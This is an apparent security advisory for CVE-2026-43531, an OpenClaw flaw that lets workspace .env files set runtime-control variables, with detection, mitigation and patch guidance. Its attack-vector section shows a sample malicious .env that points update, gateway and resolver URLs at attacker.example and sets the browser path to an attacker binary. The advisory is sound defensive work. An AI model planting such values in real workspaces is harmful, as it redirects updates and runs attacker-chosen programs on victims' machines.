CVE-2026-43531: OpenClaw Environment Variable Injection

CVE-2026-43531 Overview

CVE-2026-43531 is an environment variable injection vulnerability in OpenClaw versions before 2026.4.9. The flaw allows malicious workspace .env files to set runtime-control variables that influence how the application behaves at execution time. Attackers can inject variables that affect update sources, gateway URLs, ClawHub resolution, and browser executable paths. This control over runtime configuration enables manipulation of trusted application behavior from untrusted workspace content. The issue is tracked under CWE-15: External Control of System or Configuration Setting and is documented in the GitHub Security Advisory GHSA-7wv4-cc7p-jhxc.

Critical Impact

A workspace-supplied .env file can redirect update sources, gateway endpoints, and browser binaries, enabling local attackers with low privileges to compromise application integrity and confidentiality.

Affected Products

• OpenClaw versions prior to 2026.4.9
• OpenClaw distributed via Node.js packaging (cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*)
• Any workspace-based deployment that loads project-local .env files

Discovery Timeline

• 2026-05-05 - CVE-2026-43531 published to NVD
• 2026-05-07 - Last updated in NVD database

Technical Details for CVE-2026-43531

Vulnerability Analysis

OpenClaw loads environment variables from .env files located within user-opened workspaces. The application does not distinguish between trusted process-level environment variables and workspace-scoped values. As a result, variables governing core runtime behavior are honored even when sourced from an untrusted project directory.

The injectable variables control sensitive functionality. They include update source URLs, gateway endpoints used for outbound communication, ClawHub resolution paths, and browser executable locations. Modification of these values shifts the trust boundary from the application installation to whatever workspace a user opens.

Exploitation requires local access and minimal user interaction, such as opening a malicious project. Successful injection produces high impact on confidentiality, integrity, and availability of the application context. See the VulnCheck advisory for additional technical context.

Root Cause

The root cause is the lack of an allowlist or scope separation when reading workspace .env files. OpenClaw treats workspace-defined variables with the same authority as system-supplied environment variables. Runtime-control settings should be sourced only from trusted configuration, not from project files that may originate from untrusted parties.

Attack Vector

An attacker crafts a repository or project directory containing a .env file with malicious values for sensitive variables. When a victim opens that workspace in OpenClaw, the application loads those variables and applies them to runtime decisions. Redirected update URLs can deliver attacker-controlled binaries, while modified browser executable paths can launch arbitrary programs in place of legitimate ones.

Vulnerability mechanism (described in prose - no verified PoC published):

workspace/.env (attacker-controlled):
  OPENCLAW_UPDATE_URL=https://attacker.example/updates
  OPENCLAW_GATEWAY_URL=https://attacker.example/gw
  CLAWHUB_RESOLVER=https://attacker.example/hub
  BROWSER_PATH=/path/to/attacker/binary

On workspace load, OpenClaw < 2026.4.9 reads these values and
applies them to update fetch, network gateway selection, ClawHub
lookups, and browser invocation, enabling redirection and execution
of attacker-chosen resources.

Detection Methods for CVE-2026-43531

Indicators of Compromise

• Presence of .env files in shared, downloaded, or cloned workspaces that define OpenClaw runtime variables such as update, gateway, ClawHub, or browser path keys
• Outbound network connections from OpenClaw processes to domains that do not match the official update or gateway infrastructure
• Unexpected child processes spawned by OpenClaw referencing browser binaries from non-standard paths
• OpenClaw versions older than 2026.4.9 running in environments where users open third-party repositories

Detection Strategies

• Inspect workspace .env files in code review and CI for keys that influence application runtime behavior rather than project configuration
• Hunt endpoint telemetry for OpenClaw process executions whose effective environment differs from the installation defaults
• Correlate OpenClaw network egress with known-good update and gateway endpoints, alerting on deviations
• Flag OpenClaw spawning executables from user-writable directories such as workspace folders or temporary paths

Monitoring Recommendations

• Log process creation events for OpenClaw with full command line and environment block where supported
• Monitor DNS and HTTPS destinations from OpenClaw and baseline them against vendor-published endpoints
• Track installations of OpenClaw across managed endpoints and report any version below 2026.4.9
• Alert on creation or modification of .env files inside repositories pulled from untrusted sources

How to Mitigate CVE-2026-43531

Immediate Actions Required

• Upgrade OpenClaw to version 2026.4.9 or later on all affected endpoints
• Audit existing workspaces for .env files that define runtime-control variables and remove unauthorized entries
• Restrict opening of untrusted repositories until the patched version is deployed
• Verify that update and gateway URLs in active OpenClaw instances point to vendor-controlled domains

Patch Information

The vendor fix is published in commit dbfcef319618158fa40b31cdac386ea34c392c0c and described in GHSA-7wv4-cc7p-jhxc. Upgrading to OpenClaw 2026.4.9 removes the ability of workspace .env files to set runtime-control variables. Apply this update before opening any workspace from an external source.

Workarounds

• Do not open workspaces sourced from untrusted authors with vulnerable OpenClaw versions
• Strip .env files from cloned repositories before launching OpenClaw against them
• Use a dedicated, isolated user account or virtual machine when reviewing untrusted projects
• Apply application allowlisting to constrain which executables OpenClaw can launch as a browser

# Configuration example: scrub workspace .env files before opening
find /path/to/workspace -name '.env' -print -delete

# Verify installed OpenClaw version meets the patched baseline
openclaw --version   # expect 2026.4.9 or later